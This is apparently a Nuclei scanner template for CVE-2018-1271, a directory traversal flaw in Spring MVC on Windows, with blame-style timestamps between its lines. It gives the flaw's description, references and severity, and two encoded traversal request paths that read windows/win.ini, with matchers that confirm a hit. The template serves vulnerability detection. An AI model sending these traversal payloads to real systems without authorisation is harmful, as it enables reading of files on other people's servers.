2021-01-02 05:00:39 +00:00
id : CVE-2018-1271
2020-06-03 00:53:25 +00:00
info :
name : Spring MVC Directory Traversal Vulnerability
author : hetroublemakr
2021-09-10 11:26:40 +00:00
severity : medium
2022-05-17 09:18:12 +00:00
description : Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
2022-04-22 10:38:41 +00:00
reference :
- https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
2022-05-17 09:18:12 +00:00
- https://pivotal.io/security/cve-2018-1271
2022-06-07 20:50:59 +00:00
- http://web.archive.org/web/20210518132800/https://www.securityfocus.com/bid/103699
2022-05-17 09:18:12 +00:00
- https://access.redhat.com/errata/RHSA-2018:1320
2021-09-10 11:26:40 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.9
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-1271
cwe-id : CWE-22
2022-04-22 10:38:41 +00:00
tags : cve,cve2018,spring,lfi,traversal
2020-06-03 00:53:25 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
- '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-06-03 00:53:25 +00:00
matchers :
- type : word
words :
- 'for 16-bit app support'
- type : status
status :
- 200